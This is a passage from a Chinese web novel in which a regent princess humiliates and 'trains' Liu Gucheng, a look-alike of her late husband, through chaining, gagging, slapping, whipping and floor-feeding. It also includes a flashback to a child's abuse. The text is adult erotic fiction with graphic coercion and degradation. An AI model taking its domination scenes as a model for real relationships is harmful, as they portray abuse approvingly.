然后她把水榭四周的帘子卷起,水榭里的春色便无遮无掩的暴露在府中所有经过的人面前。 “不要……不要被别人看。”柳孤城的脸色极度难看,被镇北将军和玄武司使看就罢了,现在帘子卷起,越长风难道还要把自己展示给府中所有下人婢仆都看个饱不成? 越长风伸出手指,用指背轻轻在他肿胀起来的脸颊上刮着,笑声如银铃般清脆:“你看,这不是回话了么?” 她掐了掐方才掴过的地方,话音一沉,“可惜,晚了。柳郎不喜欢说话,就在这里静静思过吧。” “就当作柳郎在长公主府的第一堂课:本宫说话,无论说的什么,你都必须回话。” 说罢越长风站起身来,明明是她下令让人把柳孤城脱光,本人却仿佛对他的身子没有丝毫兴趣,看也不看地上男人一眼,只是朝水榭里的其他三人打了个眼色。 四人齐齐走出水榭,水榭中只剩光着身体被铁链扣在柱子上的柳孤城一人。 回到岸上,越长风低声在常茵耳边耳语一番,常茵暧昧的笑着领命而去。 裴玄一直和她保持着三步距离,没有再像大狗狗那样非要往她身上黏去,脸上表情有如五味杂陈。 越长风回过身子,笑着看他:“怎么,裴小将军怕了?” 女郎笑得明媚,轻松不过的问话,却让裴玄心下一凉。 裴玄搔搔头,张了张嘴,似乎在想自己该如何开口,过了好一会儿,却终只是说:“末将真的要走了。”话音里透着无奈。 “嗯,阿玄一路顺风。”越长风这话说得随意,裴玄却知道那是她少有的真心话之一。 他点了点头,整理好身上衣衫,看了看水榭里跪着的男人,又看了看女郎那双看似多情却比这里任何一人都要无情的桃花眼,无声地转身离去。 陆行舟一直站在十步开外的位置,他已经习惯了把自己的存在感压到最低,直到常茵和裴玄分别离去,越长风才“发现”他的存在。 她朝他勾勾手指,陆行舟便默默走上前来。 “不服气?”越长风朝他问出了和方才问柳孤城一模一样的问题。 陆行舟回话会得很快:“卑职不敢。” 不敢,而不是没有。越长风再清楚不过,他对柳孤城如此戒备定是有他的原因,自己却不留情面的否定了他,是人大概也不会服气。 可是,她也必须给陆行舟一个警告。她给了他锦衣夜行、监察朝野的权力,这些权力本来就应该为自己而服务,可是陆行舟的手似乎伸得有些太长了,竟敢动到自己的狗身上,还是一次两只。 看见陆行舟低眉垂首的样子,她姑且便当他把自己今天对他的敲打记进去了,微微勾唇,施舍般的从朝服底下伸出鞋尖:“本宫的脚脏了。” 陆行舟一言不发,单膝跪在她的脚前,从怀里掏出一块帕子开始擦着那只碰过柳孤城下颌的鞋尖。然后他一丝不苟的整理她稍见凌乱的朝服下摆,又拿出另外一块帕子,小心翼翼的拉过她的手,神情专注的抹着她用来掌掴柳孤城的手指和手心。 陆行舟有种奇怪的洁癖,明明自己身上长年带着玄武卫诏狱的铁锈味和血腥味,偏偏看不得越长风身上有一点污秽和凌乱,尤其是当那些痕迹是由别的男人留下时。 越长风很清楚他的怪癖,也不吝啬那一点点施舍。 只要他不要妄想过问她的个人生活,也不要触及她的底线。 陆行舟清理完毕,默默站起身子,退到一旁。 越长风挑眉:“还有事?” 陆行舟几乎便有告诉她柳十三所说的一切的冲动。 可是他不能说。 或者,他只需要找到更多的证据,一举将那个小贱人置诸死地。 陆行舟摇了摇头,默默退下。 一时之间,偌大的中庭只剩下了水榭里锁着的柳孤城。越长风看也不看他一眼,径自回到书房处理公务。 还没处理多久,却又听下人来报,沈约来了。 越长风迎了出去。“老师不是和新科进士去慈恩寺立碑了吗?怎么有空驾临寒舍了?” 她神情轻松的笑着,一边悄悄观察沈约的脸色,只见他左看右望的,似乎在寻找什么。 他们现在是在前院正厅,从正门来到这里不会经过中庭的人工湖。 “老师在看什么?”越长风一脸无辜的问。 沈约收回视线,认真的目光一眨不眨地看着越长风明媚的双目,看得她有些发毛。 “殿下知道的。”他叹了一口气,“柳四郎可在府中?” 越长风莫名其妙的一下心虚,却很快便将这样无用的情绪抛之脑后,瞪大眼睛讶异的道:“老师的消息收得可真快。” “不是消息。”沈约沉下声音,满满的无奈:“为师在去慈恩寺的路上,便已看见了长公主府外的动静。附近百姓都在府外凑着热闹,兴致勃勃的讨论柳家四郎入府的事。” 越长风摸摸鼻子,尴尬的笑笑。或许是就像她自己说过的,沈约看着她和柳时言长大,每当被沈约用那样正经而有无奈的目光看着时,总有一种被看穿一切的感觉,就像做错事的小孩一样。 “而且。”沈约似笑非笑的看着她,右手握着的笏板有一下没一下的拍打着左手手心。“殿下那个小状元,也看见了府门外的那些动静了呢。” “状元郎知不知道殿下的三心两意?又知不知道殿下这位引起哄动的小面首,是和亡夫有五分相似的一个替身?” “怎么?”越长风从来都没有关心也没有担心过顾锦卿的反应,只是听沈约说起柳时言,又恶劣地来了挑逗他的兴趣:“老师又在吃死人的醋了?” 沈约欲盖弥彰的板起脸来,“不是吃什么醋。” “而是柳时言明明就是殿下亲手所杀……”他用只有两人之间才能听见的声音沉声说道。“现在又要收了他那同样高傲矜贵的弟弟,殿下到底意欲何为?” 越长风歪头想了想,“因为……好玩呀。” 她一副天真无邪的样子,定定的注视着脸色不豫的沈约:“老师不是想要知道柳四郎在哪里么?” 越长风拉起他的手,几乎是一蹦一跳的往中庭走去。 走到人工湖畔,还未上桥,他便已看到了湖中心的水榭里,那抹跪着的人影。 沈约心里咯噔一下,被越长风拉着的那只手本来已是苍白瘦削、骨节分明,这一下更是变得僵硬起来。 越长风往他的耳边吹着气,轻轻柔柔的问:“老师不到水榭上去看看?” 沈约的耳根可疑地红了一下。 看着规格直逼宫中太液池的人工湖,看着湖中心羞耻而孤独地跪在那里的柳孤城,忽然想起了上元宫宴的那一晚。 那一晚,他看见了表面上光风霁月的新一代柳家继承人,实际上的空洞和疯狂。 那一晚,这位柳家四郎问他,自己是不是很像先驸马。 那一晚,这位柳家四郎似乎是刻意挑衅似的,一下挑明了他和越长风之间隔着的师徒伦常,挑明了他隐于心底的嫉妒和不甘。 然后,这位柳家四郎借着自家两位草包哥哥之手,把自己推下了水,顺理成章地上了昭庆宫的床。 这时候柳孤城听见人声,也禁不住看了过来。如今两人又是隔着湖水对望,沈约衣冠楚楚,好整以暇的站在岸边,而柳孤城不着寸缕,屈辱地跪在湖中心任君观赏。 两人的气场高下逆转,沈约见惯风浪,却没有什么喜悦的感觉。他实在太过明白越长风的玩心和薄情,就算是可以被她拉着手站在岸边的自己,也不过是她的消遣之一而已。 “长风啊,”他缓缓开口。“玩人丧德,玩物丧志——为师教过你的。” 沈约每次叫她长风的时候,都有一种为人师表语重心长的感觉。 越长风几乎有一丝动容。在这些时候,她都能感受到老师的苦心和偏爱;可是,没有什么同理心的她也没有什么回报的概念。 所以她只是毫无悔意的笑道:“老师教我的那些仁义道德,学生都早已忘得一干二净了。” “只记得——人生得意须尽欢啊。” 沈约看着笑意盈盈的越长风,苦口婆心的模样也染上了一丝为老不尊的邪肆,反手握住她拉着自己的那只手。 “长风竟然把为师的教导都忘得一干二净了。”长年执笔而起了厚茧的指腹轻轻摩挲着她的手,沈约做出一副无奈的样子说着暧昧不明的话:“看来为师得再为长风单独上一课了。” “好啊。”越长风眉眼弯弯,雀跃的反问:“就现在吗?” 沈约还没有机会回应,下人又来报,新科状元顾锦卿求见。 ……今天还真是济济一堂了? 越长风有些心虚的看了沈约一眼,后者回以她的是一个“为师早告诉你了”的眼神。 两人四目交投的一刻,都没有看见水榭里的柳孤城,眸中一闪而过的阴霾和——慌乱。 沈约说过他看到的顾锦卿也看到了,越长风自觉没有什么好瞒着他,便索性直接让人进来中庭。 沈约伺机告退,他的面皮没有那些小后生的厚,而且他堂堂中书令、群相之首,可不知该用怎样的身份和态度与长公主的状元新宠和……水榭上正在接受管教的那东西共处同一片空间。 顾锦卿来到中庭,越长风已经回到水榭里,好整以暇的半躺在贵妃椅上。 越长风说的是让他静静思过,所以柳孤城的嘴里被塞上了一个暖玉打磨而成的小球,小球连着的缎带在脑后绑了一个死结,堵住了他一切有可能会说出口的话,也让他的一缕口涎控制不住的从嘴边滑落。他的双手恰恰挡住身下,臀部紧紧贴着脚后跟,勉勉强强不让重要部位的春光外泄。 越长风享受着眼前美人美景,手指挑起他嘴边流下的唾液,又转而抹在他的脸上、身上,反反覆覆的玩得好不尽兴。 男人幽幽黑眸中目光空洞,不知在想什么。 顾锦卿走上竹桥,来到水榭,看见的就是这一副景象。 看见系在水榭中央一丝\不挂任人鱼肉的男人,顾锦卿大吃一惊,脸色以肉眼可见的速度一下变得苍白。 “这是——” 越长风看见了他的慌乱和惶恐,却只道是他看不惯昂藏男子被这样对待,招手让他走到贵妃榻前坐下,伸手安抚似的摸摸他还戴着状元金冠和簪花的头顶。“沈相说,你看见本宫的新面首入府了。” “锦卿这是来兴师问罪的么?”她一边摸着他的头,明媚的声音透着一种残忍的纯真。“姐姐就不瞒你了,你眼前所见,就是事实。” “可是……为什么?”顾锦卿的唇角在微微颤抖,他努力强迫自己冷静下来,不能慌张,不能把自己暴露了——可是,见过此情此景,他又怎么忘得掉眼前所见,忘不掉的话他又怎么带着今天的记忆回到聚贤阁去,面对自己的另一种生活,面对自己需要面对的人? “因为,”越长风以为他问的为什么是指为什么要把柳孤城系在柱子上罚跪,想了想道:“他不听话呀。” 摸着顾锦卿头顶的手骤然停了下来。“可是,姐姐不会这么对小狗的,因为小狗最听话了。不是吗?” 顾锦卿嘴唇一抿,越长风在私底下一向唤他小狗,放在平日他可是眼也不眨,甚至乐得摇头摆尾,黏着他的主人不放。可是在这一刻听到这个再自然不过的称呼,他却情不自禁的用眼角余光瞥向了跪在柱下的人。 他在害怕。害怕小狗和姐姐的关系暴露在那人面前,害怕那人看见自己对姐姐摇尾乞怜、顺从驯服的样子。可是,他的姐姐也显然是刻意在那人面前展示她和自己的关系,一方面要把自己的服从作为样板展示给不听话的人看,另一方面也是在测试自己的底线,测试自己在别人面前毫无保留地展示自己的驯化程度。 柳孤城的脸色依旧没有什么变化,一双黑眸像深渊一般,不带一丝感情的只是要把凝视着 它的人拉下、让其无限坠落。 顾锦卿的脑海里一下子转过无数念头,最终他弯起狭长凤眼,一脸纯挚的笑:“小狗当然是最听话的。” “可是,小狗这么听话,姐姐为什么还要不听话的……”他的尾音拖得长长的,似乎欲言又止,眼里恰如其分的流露出两分委屈。 一个柳孤城,竟然还让她所有的狗都在今天吃起醋来了。越长风心下冷笑,对着今早还是朝中的明日之星光芒四射、如今却是一副无辜黏人模样的反差状元郎,看着他眼中的两分委屈,心中还是不由自主的生起了两分垂怜。 “小狗是三元及第的状元郎,是要在朝中做出成绩然后青云直上的翰林新贵,又怎能时时跟在姐姐身边、伺候姐姐呢。”越长风先把他高高捧起,然后漫不经心的轻轻放下:“小狗历尽千辛万苦考得功名,是一只有上进之心的小狗对吧?但是小狗也不希望姐姐在没有你的时侯感到寂寞,而闷闷不乐的是吧?” 她的嘴里说得轻松,仿佛是在随便哄哄、随便问问,却是一句比一句更加咄咄迫人,一边质疑顾锦卿的上进心,一边往顾锦卿的脑海里灌输必须为姐姐的快乐打算的概念。 柳孤城在一旁听着,脸色一句比一句更加阴沉,塞了暖玉的嘴里却发不出一点声响。 顾锦卿专注的与越长风对视着,自是看不见他难看至极的脸色和眸中的阴鸷冷厉。 他只是把眼睛弯成了月牙儿,伸出状元郎那只写下洋洋洒洒的政论策题的手,抚上在茶馆里雄辩滔滔、在殿上侃侃而谈的鲜艳红唇,笑得一脸纯情而又暧昧不明:“小狗就不信,他的手和口会比我的更合姐姐心意。” “姐姐还是会最喜欢我来伺候的,是不是。” 越长风其实并不喜欢任何人尝试窥探她的想法,来以此印证自己的唯一性;心情不好的时候,甚至可以说是对此反感。可是她看着座下同时带着纯情和魅惑的割裂感的乖巧小狗,又看着水榭中心明明不服气又不得不受她管教的孤傲公子,现在的心情可算是好得不得了。 越长风顺著书生瘦弱的手指探进他的口腔,恶劣的来回捣弄,又夹着他的舌头一拉一放的,玩了好一会儿才俯身在他耳边轻笑:“那本宫可就要先验一验货了,这才好比较不是么?” 柳孤城仿佛和柱子融为了一体,没有人再看他一眼,也没有人理会他的存在,顾锦卿几乎是整个人贴在越长风的身上,两人相携着离开了水榭,直往后院而去。 ----- 本来当空的烈日渐渐西斜,自越长风和顾锦卿双双离开水榭已经过了两个时辰。 柳孤城一直滴水未进,饿得饥肠辘辘、口干舌燥,双腿一直屈着还被臀部压着,早已麻得失去知觉,只有一双幽深瞳眸依旧空洞得吓人,深处似有点点火光。 不知是不是越长风的吩咐,虽然水榭的帘子全部卷起,所有经过中庭的人都能轻易饱览水榭里的春色,偏偏一整个下午都没有下人婢仆经过,除了越长风的那几个……外室以外,确实没有一个人看过他这副样子。 柳孤城也不知道这算不算是她留给自己的最后一块遮羞布。 越长风到底是一个怎样的人? 她多情而又薄情,纵\欲而又自制,多疑却又自信,残忍却又留情。她是一个冷血自私又没有什么同理心的人,一边从身边的人身上索取,却又一边在暗中推动身边的人去成长、去追寻自己的理想,沈约和他的新政如是,裴玄和他驰骋沙场的梦想如是,顾锦卿和他的科举路也如是。而他那所谓大哥,直到死前没有见过她的阴暗面,而是一次过得到了她所有最美好的东西,却又并不珍惜。 ——只因为他想要的从来都不是爱情这种虚无缥缈的东西。 那么他自己呢?他柳孤城什么都想要,为了豪赌一铺而以身入局,最终又是不是像现在这样,顶着和大哥肖似的一张脸,作茧自缚般被动弹不得的放置在这里? 柳孤城微微苦笑,脑海里一跳一跃的胡思乱想着时,头顶响起了熟悉的声音:“柳郎静思己过,思得怎么样了?” 还是那把明媚带着恶劣笑意的声音,还是叫着属于他最讨厌的、属于长兄的那声称谓,此刻听在他的耳中却是有如天籁。 嘴里的暖玉被拿了下来,脖子上的项圈却没有被解开,越长风拉拉铁链,迫得男人不得不仰头与她对视。 柳孤城活动了一下牙骹,却没有让她久等,很快便回了话:“回殿下,我已经反省过了。” “哦?”越长风饶有趣味的看着他,似笑非笑:“柳郎说说,都反省了什么?” “我不该不回殿下的话,也不该不听殿下的话。”柳孤城嘴里说得恭顺,眸中依旧一片空洞,就连先前的那点星火也再寻不着。 他嘴上是服软了,可是腰背依旧挺直,眼眸里的一片空洞让越长风看得很不舒服。 太不像谦谦君子、温润如玉的柳时言了。也没有了她喜欢的那点火花。 她得再次点起那双眼睛里的熊熊烈火,然后在他的身上染上属于自己的色彩。 “本宫现在给你上第二堂课:你是本宫的奴,没有资格自称我。” 越长风放开铁链,不再看着那张让人流连忘返的脸,而是低头专注的解开扣在柱子上的铁链。解开之后,她扬了扬重重的铁链,铁链叮叮当当的作响,一拉一扬之下几乎便要把柳孤城拽倒在地,还是他挣扎着勉强找到了平衡,才随着她的方向站了起来,麻木的双腿踉跄着踏出了两下碎步。 “嗯?”她还在等他回话。 “我……”柳孤城咬了咬唇,很快便改了口:“奴明白了。” “下次别再需要本宫提醒。”她也没有生气,淡淡的声音透着让人心下一寒的危险:“你会为此付出代价的。” 越长风走在前方,牵着锁链往主院的屋内走去。 这间屋子柳孤城之前来过,柳家家主为了撇清行刺公主的嫌疑,向越长风表忠心而“投其所好”,直接让人把他敲晕了送到她的床上。 那一次他一睁开眼睛便已经躺在帐幔垂下的床上,这一次被人牵着进来,才看清了屋内景致。 作为权倾朝野的昭阳长公主,屋内的每一件家具摆设自然都是用料非凡,设计上却也是出奇的低调,与其说是奢靡华丽,更应该说是精雅细致。四周挂着形形色色的画作,有的是鸿山峻岭,有的是茫茫大海,有的是天空上的飞鸟,而且大多数是展翅高飞的大鸢,似乎承载了此间主人的某种寄望。 屋内檀香袅袅,那是属于越长风身上那阵熟悉的味道。 柳孤城环顾四周,仿佛要从这个属于她的空间里窥探到一丝真实的她。 然后他看到了放在榻前脚踏上的、让人看一眼便脸红心跳的用具和饰物。 就像越长风这个人身上的割裂感一样,这间屋子一边是高贵典雅的字画家具,一边是用于折辱别人的□□饰品,同样充满了一种独属于她的割裂感。 越长风方才已经叫常茵去让人来把裴玄昨夜在这里过夜的痕迹全部清除,然后放一套“规矩”在裴玄昨晚也在上面玩过的榻前脚踏上。 这些“规矩”里有大小各异的软鞭和竹板,像放才一直放在男人嘴里的、也是大小形状各异的暖玉器具,还有精工打造的几条金链,上面系着一个个精致的小铃铛。 柳孤城的脸颊被打红的地方本来已经褪了色,现在却又以肉眼可见的速度红了起来。 越长风坐在榻上,与平时慵懒的姿态不同,此时她腰板挺直,正襟危坐,脸上是不苟言笑的威严肃穆,尽管身上的玄锦织金九蟒朝服已经换成了轻便的常服,举手投足之间却仿若含元殿上一呼百应的摄政长公主。 “跪下,挺胸收腹,双手背在后面,双腿与 肩同宽。”见他呆呆站着,越长风冷冷命令。 柳孤城依言做了,这才想起自己大概是要回话的,连忙说:“是,殿下。” “学得还算快。”越长风皮笑肉不笑,伸手解开了他脖子上的铁质项圈,拿起了脚踏上的其中一条金链。 柳孤城才刚感觉到脖颈一轻,细细的金链便又缠上了他的脖子,这次收得比铁质项圈还紧,虽然金链幼细做不成窒息感,却是让人无法忽略或者习惯的存在,无时无刻的提醒着他自己身上的“规矩”。 越长风拉着金链的另一端,居高临下的睥睨着他,像是在大传胪上宣读进士授官的旨意那样,冷漠的声音充满上位者的威仪:“本宫现在给你上规矩,这是第一条。” 第二条,第三条,第四条……脚踏上的金链全被夹在身上夹得住的地方,越长风捻起金链轻轻拉扯,铃铛叮叮当当的声响不绝,柳孤城精瘦的身躯一下子仿佛柔弱无骨似的软了下去,把下唇都快要咬出血来。 越长风把他的反应收在眼底,餍足的感觉油然而生,她却是压下微扬的嘴角,淡淡问:“回话呢?” 柳孤城正要开口,脸上却又啪的一声受了一掌。 巴掌的力度并不重,甚至没有把他的脸颊打得肿起,再一次在同一个地方被掴巴掌的羞辱感却是比第一次有过之而无不及。 “本宫说过,柳郎再要本宫提醒,可是要付出代价的。” 付出代价……柳孤城想起了在昭庆宫的那一晚之后,他三分真七分假地对越长风剖白。那时她对他说,想要拥有柳时言拥有过的爱,他付出的可还不够。 柳孤城嘴角一勾,一片死寂的黑眸里再次燃起了名为疯狂的火光。 “敢问殿下,奴现在付出的代价,可还够去换得殿下对大哥曾经的爱?” 握着金链的手毫无预警的往后一扯,柳孤城被拉着往前倒去,脖子被金链拉得作痛。 男人的头几乎是贴在地上,越长风从裙下伸出鞋尖,虚虚点在他的头顶。 没有用力下压,却也明确的表示着他不能直起身子,只能维持着四肢触地的绝对臣服姿势。 “本宫允许柳郎提问了吗?” 柳孤城沉默半晌,才轻轻回道:“回殿下,没有。”嘴巴离地面太紧,连声音也是闷闷的。 越长风保持着脚尖轻点足下头颅的姿势站了起来,居高临下的注视着不得不匍匐在自己脚下的男人。 “本宫现在给你上第三堂课。” “没有本宫的准许,你只能说【是,主人】和【多谢主人】。” 越长风一边说着,目光也一边流连在柳孤城一直遮遮掩掩、死也不让人看见的背部。 与除了锁骨上有一条旧疤外大致光滑嫩白的胸前肌肤不同,他的背后,有着一条条横七竖八的鞭痕,有些高高肿起,有些深深凹陷,全都有好几年头,但也不难看出结痂之前大概是深可见骨的伤口。 这些狰狞可怖的伤疤,全都长在了本该和柳时言一样矜孤清贵、高高在上、与人间疾苦完全没有关系的柳家下任家主身上。 第26章 第26章以后在这间屋子里,柳郎…… 终于……还是被发现了。 无论多么努力的想要隐瞒,无论多么努力的想要抹掉属于过去的痕迹,如今还是一\丝不挂,不得不把最丑陋的一面坦荡荡的暴露在支配者的凝视之下。 “这些伤,是怎么得来的?”精致的绣花鞋从男人的头上移开,轻点在最深的一条鞭痕顶端。 然后,恶劣的加了一点力度往下按去,又沿着鞭痕缓缓下滑,感受着脚下驱体在自己的按压之下一抖一抖的颤个不停。 “多……多谢主人。”柳孤城有些迟疑,按理说他应该回话,可是没有越长风的允许,他只能够说两句话。 是,主人。以及,多谢主人。 所谓雷霆雨露皆是天恩,主人踩在奴的背上,他或许应该谢恩? 越长风被他的战战兢兢取悦到,笑着赞道:“柳郎很有眼力见嘛。” 她终于大发慈悲的抬起脚来,重新坐回软榻,好像这才想起自己问了他一个问题,需要他除了是主人和多谢主人之外的回答:“本宫问你问题的时候,准你回答了。” “是,主人。”柳孤城没有忘记回话,边说着边直起身来,许是跪地太久,又被踩着头又被压着背的,动作有些不稳,精瘦匀称的上身此刻竟是有些弱不禁风之感。 见越长风漫不经心的点了点头,算是认可了他的回话。柳孤城才半真半假的说道:“奴之前骗了主人。奴在小时候从未被送往南方寄养,而是一直在柳府之中,过着婢仆不如的生活。” 越长风早已知道柳孤城从没去过南境,陆行舟和玄武卫却一直查不到在他继柳时言死后成为万众瞩目的柳家四郎、下任家主之前,到底人在哪里,用的是什么身份,过的又是怎么样的生活。 “你不是左仆射的亲生儿子么,堂堂柳家四郎,怎么会过着婢仆不如的生活?” 越长风一边问着,手里百无聊赖的从脚踏上拿起一条九尾散鞭,用分岔的鞭尾轻轻柔柔的扫在他的身前,看着鞭尾和肌肤接触时男人的毛管直竖,鞭身又有意无意的推搡拉扯着男人上身的条条“规矩”,清脆的铃铛声伴着他止不住的战栗就像奏起了一曲愉悅的歌舞。 柳孤城紧抿着唇,似乎在用自己全身的自制力阻止无法控制的声音溢出唇边。越长风没有催他,也没有放过他的意思,只是高高在上的俯瞰他的挣扎。 过了似乎很久的时间,也不知他是在用这段时间来压下被挑起的情潮,还是用这段时间来思考如何自圆其说—— “奴的母亲出身卑贱,本来不过是主母的洗脚婢,生下了奴是家主和主母一生的耻辱。”柳孤城嘴角微勾,扯起了一抹嘲讽的微笑,话音淡漠得仿佛说的是别人的故事。“奴在柳家没有身份,不入宗牒,婢仆尚且有独立的人格,而奴连人也不是,不过是一个耻辱。” “后来,大哥死了,二哥三哥又不成气候,家主才想起奴还有一张脸肖似大哥。” 男人抬头与她对视,一张俊美无俦的脸像极了曾经的京都第一公子、高贵无双人人艳羡的柳家大郎,可是这个柳家精心找来的替代品过的竟是和正主有着天渊之别的人生。 一个是家族荣耀,一个是家族耻辱,只有在荣耀殒落之后,耻辱才会被拿出来物尽其用。 越长风忽然觉得,她或者应该可怜一下这个只有一张脸是像柳时言的人。 只是她天生同理心欠奉,想到的只有男子顶着肖似长兄那张矜贵清高的脸却被作贱、被奴役,在深可见骨的鞭打之下被迫屈从的样子。 ——可惜,留下这些鞭痕的不是自己。 这只会让她更想折辱他,玩弄他,在他身上留下属于自己的痕迹。 “在长公主府,不问出身,没有耻辱。”越长风把玩着鞭柄,冷漠无情的宣判:“你就只是本宫的奴。” “的确,府里的下人婢仆、本宫在外面养的狗都比你尊贵,但那不是因为你的生母或过去,就只是因为你有求于我。明白了吗?” 柳孤城怔怔的看着她,不知道自己应该觉得屈辱,还是感到欣慰。 明明她说的是这样轻贱侮辱的话,明明她根本不把自己当人看,甚至不把自己当狗看,自己在她的面前只是一件可以践踏取乐、取代一个死人被她虐待玩弄的东西。 可是,她那一句不问出身、不是耻辱,却仿佛轻轻地放下了一块他背了二十多年的大石。 柳孤城自问已经没有把自己当作耻辱很多年。他之所以可以如此平静地向面前的支配者覆述自己曾经的过去,是因为他早已计算好了,既然背上的伤疤没法瞒一辈子,那还不如由自己去剖出自己深处最丑陋的过去, 给她一个让她满意的故事。也是因为,相比他现在爬到的高位、所拥有的东西,那些过去实在是微不足道。 其实在十多年前他说服家主脱离柳家,以另外一个身份爬到连所谓的亲生父亲也不得不仰他鼻息的位置;在他借着自己曾经只配当他替身暗卫的长兄之死而一举上位,血洗自己曾经只配做一只底层棋子的影子朝廷而成为操控一切的下棋者时——耻辱两字,好似已经离自己很远。 直到现在,柳孤城跪在越长风的脚下,被她管教,被她践踏,她毫不在乎他的感受,甚至希望看到他不甘受辱的样子,却也因为说出了那样的一句话而令他第一次产生了一种被认同的错觉。 人不因父母出身而生了贵贱之分。 然而,他现在赤\身裸\体,戴着一条条规矩跪在她的脚下,没有自称我的资格,也没有不回话的选择。分了贵贱的不是出身,而是选择和情势。 柳孤城还在理顺内心五味杂陈的紊乱思绪,忽然鞭子的破空之声传来,胸口最脆弱的地方一阵剧痛,突兀而毫无章法的铃铛声此起彼落。 胸口的一条“规矩”被鞭子硬生生的打落。柳孤城痛得直弓起身子。 越长风用鞭尾轻轻挑逗被粗暴对待的脆弱伤口,再次问道:“明白了吗?” ——那是对他没有回话的惩罚。 “是,主人。”柳孤城忍着痛,一向清朗爽利的嗓音也在颤抖。 “本宫不想重复自己的话。明白了吗?” “明白,主人。”柳孤城立即回话。被认同的错觉瞬间消失,只剩屈辱、羞耻……和暂时的顺从。 “跪好。” 羞辱感如潮水般涌上心头,空气中弥漫着支配者的威压,每一步的行差踏错、甚至只是一下犹豫都会招致另一个惩罚,他己经逐渐形成了条件反射的顺从。 上位者目光专注的凝视着他,目中闪着冷光。柳孤城撑起身体,艰难地跪了起来。饶是屋内温暖,地上还铺了厚厚的毛毯,他今天已经跪了太久,膝盖都有些微微发痛。 柳孤城不敢怠慢的直起上身,双手背后,双腿与肩同宽,是越长风早前教过的标准姿势。简简单单的几下动作此刻是这样的艰难,摆好姿势时他的喘息已经急促起来。 沉默蔓延开来,每一秒都像被拉长了数倍。时间仿佛几乎凝固,定格在一坐一跪的两人四目相对的这一刻。 “学得很快,不用本宫再教。”晾了他半晌后,越长风才悠然一笑。 “自己把规矩戴上。” “是,主人。”柳孤城一咬牙,夹子毫不留情地往鲜嫩脆弱的伤处重新施压。身上的痛楚还是其次,在越长风面前自己动手折磨自己的羞辱感让他两颊通红,眼眸深处再次燃起了熊熊烈火。 ……自虐、自毁、自我燃烧的疯魔烈火。 越长风看着那双黑眸里的熊熊火光,满意的笑了。 “今天本宫给你上了哪三堂课。”她状似随意的问。 柳孤城沉默了一下,见越长风足尖微抬,连忙回道:“第一课,主人说话,奴必须回话。” “第二课,奴没有资格自称我。” “第三课,除非主人允许,奴只能说【是,主人】和【多谢主人】。” 男人的眸光深处依旧燃着桀骜不驯的火,言语和举止上却已表现出对规矩下意识的遵守,和根据她的“教学”而自我反省的思考。 越长风对于他的“下意识”很是满意。 微抬的足尖还是点在了他的胸口……下方的小腹上。 “柳郎饿了吧?” 柳孤城点点头,又快速补上一句:“是,主人。” ——这就是“下意识”。 越长风像出门之前要抚摸一下家养宠物般摸了摸男人的头,站起身来走到屋外,让待命的下人传膳。 一刻钟后,阵阵香气扑鼻而来,婢仆鱼贯而入,一道道色香味俱全的精致小菜被放到屋里的饭桌上。 就像柳孤城在水榭里跪了一个下午而无人出现那样,越长风给他留了最后一丝体面,金丝楠木精雕细琢而成的偌大屏风阻挡在他和上菜的下人之间,直到上完菜的下人全部退了出去,她才淡淡命令:“出来。” 柳孤城不敢怠慢,连忙走了出去,低眉垂首的站在懒懒坐在桌前的越长风身后。 膝下跪得麻木的地方骤然一痛,柳孤城忍不住的一声惊呼,膝盖一软再一次跪了下去。 越长风从桌上拿起一碗清粥,轻轻柔柔的说:“以后在这间屋子里,没有本宫的命令,柳郎只能跪著。” “是,主人。”柳孤城的声音有些咬牙切齿,也不知道是在忍痛还是在忍辱。 越长风把清粥放在脚旁的地上,各样小菜往上面放上一点,一碗色香味俱全的菜肉粥就此制成,让人垂涎欲滴。 只是,这碗粥放在地上,兼且没有任何用以进食的餐具,散发着一种说不出的怪异感。 “吃吧。”越长风似乎不觉得有什么问题,丢下一句便开始往自己的碗里夹菜。 “多谢主人。”柳孤城没有忘了规矩,说罢又顿了顿,犹犹豫豫的再次开口:“主人……” “请问……可不可以给奴一双筷子?” 他的头一直低着,脸色阴沉至极,卑微的话语从紧咬着的牙关之间勉勉强强的溢了出来。 越长风高坐椅上,看不见他的脸色,也没有任何要看的意思。手上夹菜的动作不停,嘴里忽然“啧”的一声。 “本宫有准你问话了么?” 柳孤城条件反射的一缩。动作小得几不可见,但越长风眼尾一睄,还是注意到了。 ——对于柳孤城这样能屈能伸的人来说,重塑他的思想和人格比一般人都远远要难。但是这“下意识”不同,其实它比一般人以为的远远容易改变。 “没有,主人。”他低着头,轻轻说道。 “那就吃。” 第27章 第27章喂食、要是你一开始就乖…… “是,主人。”柳孤城弯下腰去,正要用双手捧起地上的碗,绣花鞋却再次踩在他的背上。 “本宫有准许你用手么?” 越长风的套路并不难捉摸,她的话音越是轻柔,字里行间所暗示的意思便越是骇人。 而现在,她随随便便的一句问话,便是要他趴在地上,像狗一样舔食他的晚餐。 柳孤城低着头,这一次他没有回话,也没有动手。长长羽睫微微颤动,烛火摇曳之下抖动的影子刚好掩住了黑眸之中的层层阴霾。 面前的景象渐变模糊,灯火忽明忽灭之间,他似乎看到了二十年前的自己。 暗卫营的“师傅”把清粥小菜放在男孩面前,命令他学着少家主的样子进食。 男孩的眸眼里闪过一丝与“未来主上”不符的阴沉和不甘,师傅便一手把粥碗扫落地上,冷酷无情的道:“给脸不要脸的小贱人,让你做人你不做,那就做狗好了。” 壮硕的男人把为了保持和少主相似的身形而刻意控制生长的清瘦男孩轻易的踢翻在地。“给我像狗一样趴在地上吃。” 男孩一动不动,嘴唇紧抿,发出无声的抗议。 带钩的铁鞭毫不犹豫地落在男孩伤痕累累的背上。 男人一鞭挥下,手中用力向下一压,然很向后一拉,倒钩连皮带肉的拉起一块。 男孩嘶的一声,却很快便紧咬下唇,咬得唇瓣也淌出血来,却是死死的忍住了痛呼。 “小贱人,吃,还是不吃?” 又是一鞭挥下,冷硬的倒钩再次钩在被强行址开的伤口上。 男人的另一只手按在他的头上,用小男孩无法反抗的强硬力道一点一点的往下压去,直到小男孩的头埋在洒落地上的粥水里。 “舔。” 梦魇中的恶魔男声变成了现实中的明媚女声,背上的脚已经挪开,越长风却不知在什么时候已经脱了鞋袜,纤纤玉足悬在地上的粥碗上方,有一下没一下的踢着。 “你别欺人太甚……”什么三条规矩,柳孤城一条也不顾了,他合上眼睛,拳头攥起,咬牙切齿的从齿缝吐出这半句说话。 柳孤城的状态明显不对,越长风猜她大概是揭起了男人内心深处某块疮疤,而且还是很深很痛的那种。毕竟,她的三堂课,在他身上戴 